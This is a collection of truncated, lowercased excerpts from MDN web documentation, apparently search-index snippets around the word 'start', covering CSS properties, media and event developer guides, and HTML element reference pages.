start a new formatting context. if you wish to
start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit vertically in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content. ...
overflow - CSS: Cascading Style Sheets
can be scrolled programmatically (for example, by setting the value of a property such as offsetleft), so the element is still a scroll container. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling. the box is not a scroll container, and does not
start a new formatting context. if you wish to
start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit the padding box. browsers always display scrollbars whether or not any content is actually clipped, preventing scrollbars from appearing or disappearing as content changes. printers may still print overflowing content. auto depends on ...
padding-block-end - CSS: Cascading Style Sheets
ding-block-end: inherit; padding-block-end: initial; padding-block-end: unset; values the padding-block-end property takes the same values as the padding-left property. description this property corresponds to the padding-top, padding-right, padding-bottom, or padding-left property depending on the values defined for writing-mode, direction, and text-orientation. it relates to padding-block-
start, padding-inline-
start, and padding-inline-end, which define the other paddings of the element. formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting block end padding for vertical text html content <div> <p class="exampletext">example t...
padding-inline-end - CSS: Cascading Style Sheets
-inline-end: inherit; padding-inline-end: initial; padding-inline-end: unset; values the padding-inline-end property takes the same values as the padding-left property. description this property corresponds to the padding-top, padding-right, padding-bottom, or padding-left property depending on the values defined for writing-mode, direction, and text-orientation. it relates to padding-block-
start, padding-block-end, and padding-inline-
start, which define the other paddings of the element. formal definition initial value0applies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueas <length>animation typea length formal syntax <'padding-left'> examples setting inline end padding for vertical text html <div> <p class="exampletext">example text</p> </...
paint-order - CSS: Cascading Style Sheets
when one value is specified, that one is painted first, followed by the other two in their default order relative to one another. when two values are specified, they will be painted in the order they are specified in, followed by the unspecified one. note: in the case of this property, markers are only appropriate when drawing svg shapes involving the use of the marker-* properties (e.g. marker-
start) and <marker> element. they do not apply to html text, so in that case, you can only determine the order of stroke and fill. values normal paint the different items in normal paint order. stroke, fill, markers specify some or all of these values in the order you want them to be painted in. formal definition initial valuenormalapplies totext elementsinheritedyescomputed valueas specif...
radial-gradient() - CSS: Cascading Style Sheets
or an ellipse. the function's result is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* a gradient at the center of its container,
starting red, changing to blue, and finishing green */ radial-gradient(circle at center, red 0, blue, green 100%) values <position> the position of the gradient, interpreted in the same way as background-position or transform-origin. if unspecified, it defaults to center. <shape> the gradient's shape. the value can be circle (meaning that the gradient's shape is a circle with constant radius) or...
scroll-margin-block - CSS: Cascading Style Sheets
f an element in the block dimension. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constituent properties this property is a shorthand for the following css properties: scroll-margin-block-end scroll-margin-block-
start syntax /* <length> values */ scroll-margin-block: 10px; scroll-margin-block: 1em .5em ; /* global values */ scroll-margin-block: inherit; scroll-margin-block: initial; scroll-margin-block: unset; values <length> an outset from the corresponding edge of the scroll container. description the scroll-margin values represent outsets defining the scroll snap area that is used for snapping ...
scroll-padding-block - CSS: Cascading Style Sheets
in view of the user. this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targeted element and the edges of the scrollport. ...
scroll-padding-inline - CSS: Cascading Style Sheets
view of the user. this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. ...
scroll-snap-coordinate - CSS: Cascading Style Sheets
l-snap-coordinate: inherit; scroll-snap-coordinate: initial; scroll-snap-coordinate: unset; if the element has been transformed, the snap coordinates are likewise transformed, thus aligning the snap points with the element as it is displayed. syntax values none specifies that the element does not contribute to a snap point. <position> specifies the offset of the snap coordinates from the
start edge of the element’s border box. for each pairing, the first value gives the x coordinate of the snap coordinate, the second value its y coordinate. formal definition initial valuenoneapplies toall elementsinheritednopercentagesrefer to the element’s border boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea position formal syntax none...
scroll-snap-destination - CSS: Cascading Style Sheets
ty defines the position in x and y coordinates within the scroll container's visual viewport which element snap points align with. /* <position> value */ scroll-snap-destination: 400px 600px; /* global values */ scroll-snap-destination: inherit; scroll-snap-destination: initial; scroll-snap-destination: unset; syntax values <position> specifies the offset of the snap destination from the
start edge of the scroll container’s visual viewport. the first value gives the x coordinate of the snap destination, the second value its y coordinate. formal definition initial value0px 0pxapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation t...
scroll-snap-points-x - CSS: Cascading Style Sheets
ints-x: repeat(400px); /* global values */ scroll-snap-points-x: inherit; scroll-snap-points-x: initial; scroll-snap-points-x: unset; syntax values none the scroll container does not define any snap points. elements within the scroll container may still define snap points on behalf of the scroll container. repeat(<length-percentage>) defines an interval at which snap points are defined,
starting from the container's relevant
start edge. only positive lengths are allowed. percentages refer to the width of the container. formal definition initial valuenoneapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syn...
scroll-snap-points-y - CSS: Cascading Style Sheets
nts-y: repeat(400px); /* global values */ scroll-snap-points-y: inherit; scroll-snap-points-y: initial; scroll-snap-points-y: unset; syntax values none the scroll container does not define any snap points. elements within the scroll container may still define snap points on behalf of the scroll container. repeat(<length-percentage>) defines an interval at which snap points are defined,
starting from the container's relevant
start edge. only positive lengths are allowed. percentages refer to the width of the container. formal definition initial valuenoneapplies toscroll containersinheritednopercentagesrelative to same axis of the padding-box of the scroll containercomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syn...
symbols() - CSS: Cascading Style Sheets
as list-style. unlike @counter-style, symbols() is anonymous (i.e., it can only be used once). although less powerful, it is shorter and easier to write than @counter-style. syntax symbols() = symbols( <symbols-type>? [ <string> | <image> ]+ ); <symbols-type> can be one of the following: cyclic: the system cycles through the given values in the order of their definition, and returns to the
start when it reaches the end. numeric: the system interprets the given values as the successive units of a place-value numbering system. alphabetic: the system interprets the given values as the digits of an alphabetic numbering system, like a place-value numbering system but without 0. symbolic: the system cycles through the values, printing them an additional time at each cycle (one time for the ...
text-decoration-skip - CSS: Cascading Style Sheets
element is skipped if it is an atomic inline such as an image or inline-block. spaces all spacing is skipped: all unicode white space characters and all word separators, plus any adjacent letter-spacing or word-spacing. leading-spaces the same as spaces, except that only leading spaces are skipped. trailing-spaces the same as spaces, except that only trailing spaces are skipped. edges the
start and end of the text decoration is inset slightly (e.g., by half of the line thickness) from the content edge of the decorating box. thus, adjacent elements receive separate underlines. (this is important in chinese, where underlining is a form of punctuation.) box-decoration the text decoration is skipped over the box's margin, border, and padding areas. this only has an effect on decorations...
<transform-function> - CSS: Cascading Style Sheets
linear functions. examples transform function comparison the following example provides a 3d cube created from dom elements and transforms, and a select menu allowing you to choose different transform functions to transform the cube with, so you can compare the effects of the different types. choose one, and the transform is applied to the cube; after 2 seconds, the cube reverts back to its
starting state. the cube's
starting state is slightly rotated using transform3d(), to allow you to see the effect of all the transforms. html <main> <section id="example-element"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</d...
user-select - CSS: Cascading Style Sheets
is text text the text can be selected by the user. all the content of the element shall be selected atomically: if a selection would contain part of the element, then the selection must contain the entire element including all its descendants. if a double-click or context-click occurred in sub-elements, the highest ancestor with this value will be selected. contain enables selection to
start within the element; however, the selection will be contained by the bounds of that element. element (ie-specific alias) same as contain. supported only in internet explorer. note: css ui 4 renames user-select: element to contain. formal definition initial valueautoapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | text | none | contai...
var() - CSS: Cascading Style Sheets
<custom-property-name> , <declaration-value>? ) note: the syntax of the fallback, like that of custom properties, allows commas. for example, var(--foo, red, blue) defines a fallback of red, blue; that is, anything between the first comma and the end of the function is considered a fallback value. values <custom-property-name> a custom property’s name represented by an identifier that
starts with two dashes. custom properties are solely for use by authors and users; css will never give them a meaning beyond what is presented here. <declaration-value> the custom property's fallback value, which is used in case the custom property is invalid in the used context. this value may contain any character except some characters with special meaning like newlines, unmatched closing brackets...
visibility - CSS: Cascading Style Sheets
effect. for other elements, collapse is treated the same as hidden. accessibility concerns using a visibility value of hidden on an element will remove it from the accessibility tree. this will cause the element and all its descendant elements to no longer be announced by screen reading technology. interpolation visibility values are interpolable between visible and not-visible. one of the
start or ending values must therefore be visible or no interpolation can happen. the value is interpolated as a discrete step, where values of the timing function between 0 and 1 map to visible and other values of the timing function (which occur only at the
start/end of the transition or as a result of cubic-bezier() functions with y values outside of [0, 1]) map to the closer endpoint. notes supp...
Adding captions and subtitles to HTML5 video - Developer guides
fer to the video player with captions example. this example uses an excerpt from the sintel open movie, created by the blender foundation. note: you can find the source on github, and also view the example live. html5 and video captions before diving into how to add captions to the video player, there are a number of things that we will first mention, which you should be aware of before we
start. captions versus subtitles captions and subtitles are not the same thing: they have significantly different audiences, and convey different information, and it is recommended that you read up on the differences if you are not sure what they are. they are however implemented in the same way technically, so the material in this article will apply to both. for this article we will refer to the te...
Video player styling basics - Developer guides
le looks at how to style this custom player, including making it responsive. the example in action you can find the code for the updated, styled example on github, and view it live. preliminary modifications from the original example this section summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was
started. html markup there are a few changes that were made to the html markup shown in the previous article. the custom video controls and <progress> element are now contained within <div> elements, rather than residing inside unordered list items. the markup for the custom controls now looks as follows: <div id="video-controls" class="controls" data-state="hidden"> <button id="playpause" type=...
Web Audio playbackRate explained - Developer guides
the playbackrate property of the <audio> and <video> elements allows us to change the speed, or rate, at which a piece of web audio or video is playing. this article explains playbackrate in detail. playbackrate basics let's
starting by looking at a brief example of playbackrate usage: var myaudio = document.createelement('audio'); myaudio.setattribute('src','audiofile.mp3'); myaudio.playbackrate = 0.5; here we create an <audio> element, and set its src to a file of our choice. next we set playbackrate to 0.5, which represents half normal speed (the playbackrate is a multiplier applied to the original rate.) a complete example let's create a <video> element first, and set up video and playback rate controls in html: <video id="myvideo" controls> <source src="https://udn.reali...
Writing Web Audio API code that works in every browser - Developer guides
compliant browser, by aliasing prefixed names to the unprefixed versions. and it won't do anything if the unprefixed versions are already present. once you include it in your page, you can write in "modern web audio api" style, and do things such as: var audiocontext = new audiocontext(); everywhere, including chrome/ium, opera, safari, and ---of course!--- firefox. also, if new methods such as
start are not detected in some nodes, the library will also alias them to their old names. thus,
start is mapped to noteon, stop to noteoff, and so on. if you're porting moderately "old" code (say, a year old) it's possible that it uses some methods that audiocontext-monkeypatch doesn't alias, because it helps you to write code in the new style. for example, the way to create instances of gainnode used...
Creating a cross-browser video player - Developer guides
ls themselves won't be styled beyond the basics required to get them working; full styling of the player will be taken care of in a future article. working example our example video player displays a clip from an open source movie called tears of steel, and includes typical video controls. note: you can see the example running live, or check out the source code on github. html markup to
start off with, let's take a look at the html that makes up the player. the video first of all the <video> element is defined, contained within a <figure> element that acts as the video container. to anyone familiar with html5 markup and the <video> element, there should be nothing here that surprises you. <figure id="videocontainer"> <video id="video" controls preload="metadata" poster="img/post...
Audio and video manipulation - Developer guides
osition audio using a panner node. a panner node—pannernode—lets us define a source cone as well as positional and directional elements, all in 3d space as defined using 3d cartesian coordinates. example var panner = context.createpanner(); panner.coneoutergain = 0.2; panner.coneouterangle = 120; panner.coneinnerangle = 0; panner.connect(context.destination); source.connect(panner); source.
start(0); // position the listener at the origin. context.listener.setposition(0, 0, 0); note: you can find an example on our github repository (see it live also). javascript codecs it's also possible to manipulate audio at a low level using javascript. this can be useful should you want to create audio codecs. libraries currently exist for the following formats : aac: aac.js alac: alac.js ...
Creating and triggering events - Developer guides
wesome = new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } }); // the form element listens for the custom "awesome" event and then consoles the output of the passed text() method form.addeventlistener('awesome', e => console.log(e.detail.text())); // as the user types, the textarea inside the form dispatches/triggers the event to fire, and uses itself as the
starting point textarea.addeventlistener('input', e => e.target.dispatchevent(eventawesome)); creating and dispatching events dynamically elements can listen for events that haven't been created yet: <form> <textarea></textarea> </form> const form = document.queryselector('form'); const textarea = document.queryselector('textarea'); form.addeventlistener('awesome', e => console.log(e.detail.te...
Overview of events and handlers - Developer guides
the browser has not finished retrieving all resources; this approach also allows for event driven actions, which javascript leverages. (the talk is available from several sources, including this one.) currently, all execution environments for javascript code use events and event handling. the event design pattern the event system, at its core, is simply a programming design pattern. the pattern
starts with an agreement over a kind of event and: the name string used for the event, the type of the data structure used to represent the key properties of that event, and the javascript object which will 'emit' that event. the pattern is implemented by defining a javascript function which takes as an argument the data structure which was agreed upon, and registering the function using the...
Graphics on the Web - Developer guides
ese articles provide insight into how you can accomplish this. 2d graphics canvas the <canvas> element provides apis to draw 2d graphics using javascript. svg scalable vector graphics (svg) lets you use lines, curves, and other geometric shapes to render graphics. with vectors, you can create images that scale cleanly to any size. view all... 3d graphics webgl a guide to getting
started with webgl, the 3d graphics api for the web. this technology lets you use standard opengl es in web content. video using html5 audio and video embedding video and/or audio in a web page and controlling its playback. webrtc the rtc in webrtc stands for real-time communications, a technology that enables audio/video streaming and data sharing between browser clients (peers). ...
Rich-Text Editing in Mozilla - Developer guides
note: this document is out-of-date; you are advised to consult the more up-to-date document available at making content editable. mozilla 1.3 introduces an implementation of microsoft® internet explorer's designmode feature. the rich-text editing support in mozilla 1.3 supports the designmode feature which turns html documents into rich-text editors.
starting in firefox 3, mozilla also supports internet explorer's contenteditable attribute which allows any element to become editable or non-editable (the latter for when preventing change to fixed elements in an editable environment). setting up rich-text editing rich-text editing is initialized by setting the designmode property of a document to "on", such as the document inside an iframe. once designmode has been set to "on", the ...
HTML5 Parser - Developer guides
otes in html (i.e. when the attribute value is not the empty string and does not contain whitespace, ", ', `, <, =, or >). warning: the two above features do not combine well due to the reuse of legacy-compatible html tokenization. if you omit quotes on the last attribute value, you must have a space before the closing slash. <circle fill=green /> is ok but <circle fill=red/> is not. attributes
starting with xmlns have absolutely no effect on what namespace elements or attributes end up in, so you don’t need to use attributes
starting with xmlns. attributes in the xlink namespace must use the prefix xlink (e.g. xlink:href). element names must not have prefixes or colons in them. the content of svg script elements is tokenized like they are tokenized in xml—not like the content of html ...
Introduction to HTML5 - Developer guides
easier to remember and reducing the amount of bytes that must be downloaded. declaring the character set with the <meta charset> the first thing done on a page is usually indicating the character set that is used. in previous versions of html, it was done using a very complex <meta> element. now, it is very simple: <meta charset="utf-8"> place this right after your <head>, as some browsers re
start the parsing of an html document if the declared character set is different from what they had anticipated. also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts. note that html5 restricts character sets to those compatible with ascii and using at least 8 bits. this was done to...
Separate sites for mobile and desktop - Developer guides
emplates. since only the mobile-specific content, styles, and scripts are sent to mobile users, this method also provides for the best performance out of any of the other options presented here. finally, it also allows for completely different user experiences on desktop and mobile — they’re two different sites, after all! the bad unfortunately, this approach is not without its drawbacks. for
starters, you are now maintaining two different pages for every page on your site that you would like to expose to mobile users. if you are using a cms, it is possible to arrange your site templates in a way that minimizes this duplication. however any time that there is a difference between the mobile and desktop templates, there is a potential source of complication in your code. similarly, this incr...
Developer guides
ost of what you see on screen in your browser is described, fundamentally, using html. css learning area cascading style sheets (css) is a stylesheet language used to define the presentation of a document written in html. audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. this article is intended as a
starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. audio and video manipulation the beauty of the web is that you can combine technologies to create new forms. having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directl...
HTML attribute: accept - HTML: Hypertext Markup Language
note the last example allows you to select multiple iamges. see the multiple attribute for more information. unique file type specifiers a unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. each unique file type specifier may take one of the following forms: a valid case-insensitive filename extension,
starting with a period (".") character. for example: .jpg, .pdf, or .doc. a valid mime type string, with no extensions. the string audio/* meaning "any audio file". the string video/* meaning "any video file". the string image/* meaning "any image file". the accept attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas. for example, ...
HTML attribute: pattern - HTML: Hypertext Markup Language
users. additionally, assistive technology may read the title aloud when the control gains focus, but this should not be relied upon for accessibility. constraint validation if the input’s value is not the empty string and the value does not match the entire regular expression, there is a from a patternmismatch . the pattern's regular expression, when matched against the value, must have its
start anchored to the
start of the string and its end anchored to the end of the string, which is slightly different from javascript regular expressions: in the case of pattern attribute, we are matching against the entire value, not just any subset, as if a ^(?: were implied at the
start of the pattern and )$ at the end. examples given the following: <p> <label>enter your phone number in the for...
HTML attribute: readonly - HTML: Hypertext Markup Language
time-local, and number<input> types and the <textarea> form control elements. if present on any of these input types and elements, the :read-only pseudo class will match. if the attribute is not included, the :read-write pseudo class will match. the attribute is not supported or relevant to <select> or input types that are already not mutable, such as checkbox and radio or cannot, by definition,
start with a value, such as the file input type. range and color, as both have default values. it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. nor is it supported on any of the button types, including image. note: only text controls can be made read-only, since for other controls (such as checkboxes and buttons) there is no useful distincti...
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
eference. firefox 23 removed support for dash for html5 webm video. it will be replaced by an implementation of the media source extensions api which will allow support for dash via javascript libraries such as dash.js. see bug 778617 for details. using dash - server side first you'll need to convert your webm video to a dash manifest with the accompanying video files in various bit rates. to
start with you'll only need the ffpmeg program from ffmpeg.org, with libvpx and libvorbis support for webm video and audio, at least version 2.5 (probably; this was tested ith 3.2.5). 1. use your existing webm file to create one audio file and multiple video files. for example: the file in.video can be any container with at least one audio and one video stream that can be decoded by ffmpeg, create ...
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
lse. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content permitted content phrasing content tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only supports the global attributes. the title attribute has a specific semantic meaning when used with the <abbr> element; it must co...
<address>: The Contact Address element - HTML: Hypertext Markup Language
ding an <address> element within the <article>. content categories flow content, palpable content. permitted content flow content, but with no nested <address> element, no heading content (<hgroup>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>), no sectioning content (<article>, <aside>, <section>, <nav>), and no <header> or <footer> element. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content, but always excluding <address> elements (according to the logical principle of symmetry, if <address> tag, as a parent, can not have nested <address> element, then the same <address> content can not have <address> tag as its parent). implicit aria role no corresponding role p...
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
en deprecated in favor of <object>. use of java applets on the web is deprecated; most browsers no longer support use of plug-ins, including the java plug-in. content categories flow content, phrasing content, embedded content, interactive content, palpable content. permitted content zero or more <param> elements, then transparent. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts embedded content. dom interface htmlappletelement attributes align this attribute is used to position the applet on the page relative to content that might flow around it. the html 4.01 specification defines values of bottom, left, middle, right, and top, whereas microsoft and netscape a...
<area> - HTML: Hypertext Markup Language
> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content. permitted content none, it is an empty element. tag omission must have a
start tag and must not have an end tag. permitted parents any element that accepts phrasing content. the <area> element must have an ancestor <map>, but it need not be a direct parent. implicit aria role link when href attribute is present, otherwise no corresponding role permitted aria roles no role permitted dom interface htmlareaelement attribut...
<article>: The Article Contents element - HTML: Hypertext Markup Language
can have multiple articles in it; for example, on a blog that shows the text of each article one after another as the reader scrolls, each post would be contained in an <article> element, possibly with one or more <section>s within. content categories flow content, sectioning content, palpable content permitted content flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that an <article> element must not be a descendant of an <address> element. implicit aria role article permitted aria roles application, document, feed, main, none, presentation, region dom interface htmlelement attributes this element only include...
<aside>: The Aside element - HTML: Hypertext Markup Language
es. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, sectioning content, palpable content. permitted content flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. note that an <aside> element must not be a descendant of an <address> element. implicit aria role complementary permitted aria roles feed, none, note, presentation, region, search dom interface htmlelement attributes this element only includes the globa...
<b>: The Bring Attention To element - HTML: Hypertext Markup Language
e. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes use the <b> for cases like keywords in a summary, product names in a review, or ...
<basefont> - HTML: Hypertext Markup Language
otes do not use this element! though once (imprecisely) normalized in html 3.2, it wasn't supported in all major browsers. further, browsers, and even successive versions of browsers, never implemented it in the same way: practically, using it has always brought indeterminate results. the <basefont> element was deprecated in the standard at the same time as all elements related to styling only.
starting with html 4, html does not convey styling information anymore (outside the <style> element or the style attribute of each element). in html5, this element has been removed completely. for any new web development, styling should be written using css only. the former behavior of the <font> element can be achieved, and even better controlled using the css fonts properties. dom interface this e...
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
authors should not use this approach because it is not semantic and browsers are allowed to ignore css styling. embedding the characters in <span dir="auto"> has the same effect as using <bdi>, but its semantics are less clear. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes like all other html elements, this element supports the global attributes, except that the dir attribute behaves differently than normal: it defau...
<bdo>: The Bidirectional Text Override element - HTML: Hypertext Markup Language
erride element (<bdo>) overrides the current directionality of text, so that the text within is rendered in a different direction. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the text's characters are drawn from the
starting point in the given direction; the individual characters' orientation is not affected (so characters don't get drawn backward, for example). content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that ...
<blockquote>: The Block Quotation element - HTML: Hypertext Markup Language
lement. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, sectioning root, palpable content. permitted content flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface htmlquoteelement attributes this element's attributes include the global attributes. cite a url that designates a source document or message for the information quoted. ...
<button>: The Button element - HTML: Hypertext Markup Language
tive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, interactive content, listed, labelable, and submittable form-associated element, palpable content. permitted content phrasing content but there must be no interactive content tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role button permitted aria roles checkbox, link, menuitem, menuitemcheckbox, menuitemradio, option, radio, switch, tab dom interface htmlbuttonelement attributes this element's attributes include the global attributes. autofocus htm...
<cite>: The Citation element - HTML: Hypertext Markup Language
. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for this element. attributes this element only includes the global ...
<code>: The Inline Code element - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement up to gecko 1.9.2 (firefox 4) inclusive, firefox implements the htmlspanelement interface for this element. attributes this element only includes the global ...
<col> - HTML: Hypertext Markup Language
he interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. <col> allows styling columns using css, but only a few properties will have an effect on the column (see the css 2.1 specification for a list). content categories none. permitted content none, it is an empty element. tag omission it must have
start tag, but must not have an end tag. permitted parents <colgroup> only, though it can be implicitly defined as its
start tag is not mandatory. the <colgroup> must not have a span attribute. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltablecolelement attributes this element includes the glob...
<colgroup> - HTML: Hypertext Markup Language
in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content if the span attribute is present: none, it is an empty element. if the attribute is not present: zero or more <col> element tag omission the
start tag may be omitted, if it has a <col> element as its first child and if it is not preceded by a <colgroup> whose end tag has been omitted. the end tag may be omitted, if it is not followed by a space or a comment. permitted parents a <table> element. the <colgroup> must appear after any optional <caption> element but before any <thead>, <th>, <tbody>, <tfoot> and <tr> element. ...
<command>: The HTML Command element - HTML: Hypertext Markup Language
ded in the w3c specification, but not in the whatwg specification, and browser support is nonexistent. you should use the <menuitem> element instead, although that element is non-standard and only supported in edge and firefox. content categories flow content, phrasing content, metadata content. permitted content none, it is an empty element. tag omission the
start tag is mandatory, but, as it is a void element, the use of an end tag is forbidden. permitted parent elements <colgroup> only, though it can be implicitly defined as its
start tag is not mandatory. the <colgroup> must not have a <span> as child. dom interface htmlcommandelement attributes this element includes the global attributes. checked indicates whether th...
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
nted in several browsers, this element has been removed in later versions of the spec, and should not be used. it is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification. content categories transparent content. permitted content flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parent elements any element that accepts flow content. dom interface htmlcontentelement attributes this element includes the global attributes. select a comma-separated list of selectors. these have the same syntax as css selectors. they select the content to insert in place of the <content> element. example here is...
<data> - HTML: Hypertext Markup Language
d. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmldataelement attributes this element's attributes include the global attributes. value this attribute specifies the machine-readable translation of the content of...
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
s interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content. permitted content either phrasing content or zero or more <option> elements. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, common to all elements. examples <label for="mybrowser">choose a browse...
<dd>: The Description Details element - HTML: Hypertext Markup Language
for the preceding term (<dt>) in a description list (<dl>). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content. tag omission the
start tag is required. the end tag may be omitted if the <dd> element is immediately followed by another <dd> element or a <dt> element, or if there is no more content in the parent element. permitted parents <dl> or (in whatwg html) a <div> that is inside a <dl>. previous sibling <dt> or another <dd> element. implicit aria role definition permitted aria rol...
<dfn>: The Definition element - HTML: Hypertext Markup Language
le is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content, but no <dfn> element must be a descendant. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role term permitted aria roles any dom interface htmlelement attributes this element's attributes include the global attributes. in html5, the title attribute has special meaning, as noted below. usage notes there are some not-entir...
<dialog>: The Dialog element - HTML: Hypertext Markup Language
the html <dialog> element represents a dialog box or other interactive component, such as a dismissable alert, inspector, or subwindow. content categories flow content, sectioning root permitted content flow content tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content implicit aria role dialog permitted aria roles alertdialog dom interface htmldialogelement attributes this element includes the global attributes. the tabindex attribute must not be used on the <dialog> element. open indicates that the dialog is active and can be interacted with. when the open attribute is not set, the dialog shouldn't be shown to the user. usa...
<div>: The Content Division element - HTML: Hypertext Markup Language
tten in a different language (using the lang attribute), and so on. content categories flow content, palpable content. permitted content flow content. or (in whatwg html): if the parent is a <dl> element: one or more <dt> elements followed by one or more <dd> elements, optionally intermixed with <script> and <template> elements. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. or (in whatwg html): <dl> element. implicit aria role no corresponding role permitted aria roles any dom interface htmldivelement attributes this element includes the global attributes. note: the align attribute is obsolete; do not use it anymore.
<dl>: The Description List element - HTML: Hypertext Markup Language
